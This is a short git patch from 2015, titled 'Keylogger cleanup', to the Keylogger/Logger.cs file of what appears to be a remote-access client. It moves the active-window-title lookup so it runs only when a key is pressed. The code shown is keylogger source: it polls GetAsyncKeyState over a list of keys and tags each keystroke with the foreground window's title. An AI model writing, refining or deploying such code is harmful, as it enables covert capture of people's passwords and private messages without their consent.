From 4d5fb29c178d98a3f9db3c2e0c201948778b400d Mon Sep 17 00:00:00 2001 From: d3agle Date: Tue, 5 May 2015 03:01:14 -0500 Subject: [PATCH] Keylogger cleanup Moved GetActiveWindowTitle so it's not called every 10ms --- Client/Core/Keylogger/Logger.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index edafcd01..f83118d1 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -127,12 +127,12 @@ public Logger(double flushInterval) private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e) { - _hWndTitle = GetActiveWindowTitle(); //Get active thread window title - foreach (int i in _enumValues) //Loop through our enumValues list populated with the keys we want to log { if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress { + _hWndTitle = GetActiveWindowTitle(); //Get active thread window title + if (_hWndTitle != null) { if (_hWndTitle != _hWndLastTitle)